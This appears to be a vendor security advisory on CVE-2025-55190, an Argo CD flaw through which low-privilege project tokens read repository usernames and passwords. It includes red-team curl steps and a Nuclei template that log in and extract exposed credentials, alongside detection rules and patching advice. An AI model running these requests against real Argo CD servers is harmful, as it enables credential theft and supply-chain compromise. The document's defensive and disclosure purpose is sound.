CVE-2025-55190

Executive Summary

CVE-2025-55190 is a critical authorization bypass vulnerability in Argo CD, a popular GitOps continuous delivery tool for Kubernetes. The flaw allows API tokens with project-level permissions to retrieve sensitive repository credentials (usernames and passwords) through the project details API endpoint (/api/v1/projects/{name}/detailed). This occurs even when the token only has standard application management permissions and no explicit access to secrets. The vulnerability affects multiple version branches, including 2.13.x, 2.14.x, 3.0.x, and 3.1.x release candidates. An attacker with a valid, low-privilege API token can escalate privileges to access credential material, potentially leading to lateral movement and supply chain compromise.

Supply Chain & Package Security

Argo CD is a critical component in many Kubernetes-based CI/CD pipelines. Compromise of repository credentials can lead to unauthorized code commits, backdoor insertion, and poisoning of container images. The vulnerability directly impacts the software supply chain by exposing credentials used to access private Git repositories, container registries, and other infrastructure-as-code sources.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Base Score: 9.9 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (valid API token)
• User Interaction: None
• Scope: Changed (impact extends beyond the vulnerable component)
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation, low privilege requirement, and the severe impact on confidentiality, integrity, and availability. The scope change indicates that the compromised credentials can be used to attack other systems.

Deep Dive & Mechanics

The vulnerability resides in the Argo CD API server's handling of project details requests. The /api/v1/projects/{name}/detailed endpoint is designed to return comprehensive information about a project, including its associated repositories. The authorization logic incorrectly grants access to this endpoint to any token with projects, get permission, regardless of whether the token has explicit permission to read secrets or repository credentials.

Root Cause: The API endpoint does not perform a granular check to filter out sensitive fields (like username and password) from the repository configuration when the requesting token lacks explicit secret access. The authorization middleware only verifies that the token has the projects, get action, but does not enforce a separate permission check for credential exposure.

Attack Flow:

1. Attacker obtains a valid Argo CD API token with projects, get permission (e.g., a project-level token for application management).
2. Attacker sends a GET request to /api/v1/projects/{project_name}/detailed with the token in the Authorization header.
3. The server returns the full project details, including the repositories array containing username and password fields for each configured repository.
4. Attacker extracts the credentials and uses them to access private Git repositories, container registries, or other external systems.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// In the API handler for GetProjectDetailed
func (s *Server) GetProjectDetailed(ctx context.Context, q *projectpkg.ProjectQuery) (*projectpkg.DetailedProject, error) {
    // Only checks if token has 'projects', 'get' permission
    if err := s.enf.EnforceClaims(ctx.Value("claims"), "projects", "get", q.Name); err != nil {
        return nil, err
    }
    // Returns full project details including credentials
    return s.getProjectDetails(ctx, q.Name)
}

Patched Code (simplified):

func (s *Server) GetProjectDetailed(ctx context.Context, q *projectpkg.ProjectQuery) (*projectpkg.DetailedProject, error) {
    // Check for 'projects', 'get' permission
    if err := s.enf.EnforceClaims(ctx.Value("claims"), "projects", "get", q.Name); err != nil {
        return nil, err
    }
    // Additional check: require 'repositories', 'get' permission to expose credentials
    if err := s.enf.EnforceClaims(ctx.Value("claims"), "repositories", "get", q.Name); err != nil {
        // Return project details without sensitive credential fields
        return s.getProjectDetailsSanitized(ctx, q.Name)
    }
    return s.getProjectDetails(ctx, q.Name)
}

The patch introduces an additional authorization check for the repositories, get action. If the token lacks this permission, the endpoint returns a sanitized version of the project details that excludes the username and password fields from repository configurations.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Argo CD instance (e.g., https://argocd.example.com)
• Valid credentials (username/password) for a user with a project-level API token

Exploitation Steps:

1. Authenticate and obtain a token:

curl -s -X POST https://argocd.example.com/api/v1/session \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"password123"}' | jq -r '.token'

2. Request project details:

curl -s https://argocd.example.com/api/v1/projects/default/detailed \
  -H "Authorization: Bearer <TOKEN>" | jq '.repositories'

3. Extract credentials:

[
  {
    "repo": "https://github.com/org/private-repo.git",
    "username": "git-robot",
    "password": "ghp_xxxxxxxxxxxxxxxxxxxx"
  }
]

Automated Exploit (Nuclei): The provided Nuclei template automates this process. It first authenticates to obtain a token, then requests the project details and extracts exposed credentials.

Blue Team

Detection and Response:

1. Monitor API logs for unusual access to /api/v1/projects/*/detailed endpoints, especially from tokens with low privilege levels.
2. Audit token permissions to identify tokens that have projects, get but not repositories, get permission.
3. Check for credential exposure by reviewing recent project detail responses for the presence of username and password fields.
4. Rotate all repository credentials immediately if compromise is suspected.
5. Implement network segmentation to limit the blast radius of credential exposure.

Indicators of Compromise (IOCs)

• API Request Pattern:
  • GET /api/v1/projects/{project}/detailed
  • Response body containing "repositories" array with "username" and "password" fields
• Log Entries:
  • Argo CD API server logs showing access to project details by tokens with projects, get permission
• Network Traffic:
  • Outbound connections from the Argo CD server to external Git repositories or container registries using exposed credentials
• File System:
  • Unauthorized modifications to Git repositories or container images that were accessed using the exposed credentials

Detection Engineering

YARA Rule

rule CVE_2025_55190_ArgoCD_Credential_Exposure {
    meta:
        description = "Detects ArgoCD API responses containing exposed repository credentials"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-55190"
        severity = "critical"
    strings:
        $repositories = /"repositories"\s*:\s*\[/
        $username = /"username"\s*:\s*"[^"]+"/
        $password = /"password"\s*:\s*"[^"]+"/
    condition:
        all of them
}

Sigma Rule

title: ArgoCD Repository Credential Exposure via Project Details API
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to ArgoCD project details API endpoint that may expose repository credentials
author: Valters IT
date: 2025-04-10
tags:
    - attack.credential_access
    - attack.t1552.001
    - cve.2025.55190
logsource:
    category: webserver
    product: argo-cd
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/api/v1/projects/'
        cs-uri-stem|endswith: '/detailed'
    condition: selection
falsepositives:
    - Legitimate administrative access with proper permissions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-55190 ArgoCD Repository Credential Exposure Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/api/v1/projects/"; http_uri;
    content:"/detailed"; http_uri;
    content:"Authorization"; http_header;
    pcre:"/Bearer\s+[A-Za-z0-9\-_]+\s*$/Ri";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2025-55190;
    reference:url,github.com/argoproj/argo-cd/security/advisories/GHSA-786q-9hcg-v9ff;
)

Nuclei Template

id: CVE-2025-55190

info:
  name: ArgoCD Project API Token Repository Credentials Exposure
  author: nukunga[seunghyeonJeon]
  severity: critical
  description: |
    Argo CD API tokens with project-level permissions are able to retrieve sensitive repository credentials
    (usernames, passwords) through the project details API endpoint, even when the token only has standard
    application management permissions and no explicit access to secrets. This vulnerability affects versions
    v2.2.0-rc1 and later, including 2.13.0 through 2.13.8, 2.14.0 through 2.14.15, 3.0.0 through 3.0.12,
    and 3.1.0-rc1 through 3.1.1. Any token with project get permissions is vulnerable, including global permissions.
    Note: This template requires valid ArgoCD credentials (username/password) to test the vulnerability.
  impact: |
    Authenticated attackers with project-level API tokens can retrieve sensitive repository credentials including usernames and passwords without requiring explicit secret access permissions.
  remediation: |
    Upgrade ArgoCD to version 2.13.9, 2.14.16, 3.0.13, 3.1.2, or later depending on your version branch that properly restricts repository credential access.
  reference:
    - https://github.com/argoproj/argo-cd/security/advisories/GHSA-786q-9hcg-v9ff
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55190
    - https://github.com/argoproj/argo-cd/commit/e8f86101f5378662ae6151ce5c3a76e9141900e8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2025-55190
    epss-score: 0.05376
    epss-percentile: 0.90131
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"argo cd"
  tags: cve,cve2025,argocd,credentials,exposure,gitops,kubernetes,vkev

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /api/v1/session HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    extractors:
      - type: json
        name: token
        part: body
        internal: true
        json:
          - '.token'

  - raw:
      - |
        GET /api/v1/projects/default/detailed HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers-condition: and
    matchers:

      - type: word
        part: body
        words:
          - '"repositories":'
          - '"username":'
          - '"password":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: exposed_credentials
        part: body
        group: 1
        regex:
          - '"repositories":\[.*?"username":"([^"]+)".*?"password":"([^"]+)"'
# digest: 4a0a00473045022100e990997f2065c3f7eede6316d8fbadcc015d9f33ba3927823a7aba774d338d6f02202c206c12bc99a77e498215e71d77910cf3d19dc66590c3e36e32f2b906441e09:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade Argo CD to the patched version:
   • 2.13.x → 2.13.9
   • 2.14.x → 2.14.16
   • 3.0.x → 3.0.14
   • 3.1.x → 3.1.2
2. Rotate all repository credentials that may have been exposed.
3. Review API token permissions and revoke any tokens that have projects, get but not repositories, get permission.

Long-term Mitigations:

• Implement the principle of least privilege for all API tokens.
• Enable audit logging and monitor for suspicious access to project details endpoints.
• Use short-lived tokens and rotate them regularly.
• Consider using external secret management solutions (e.g., HashiCorp Vault) to avoid storing credentials in Argo CD repository configurations.

Workaround (if patching is not immediately possible):

• Restrict network access to the Argo CD API server.
• Implement a reverse proxy or WAF rule to block requests to /api/v1/projects/*/detailed from untrusted IPs.
• Temporarily disable project-level API tokens and use only global tokens with strict permissions.

Valters IT

{/* [Security Hash: A55BAECDC5303DB4E908EF21] */}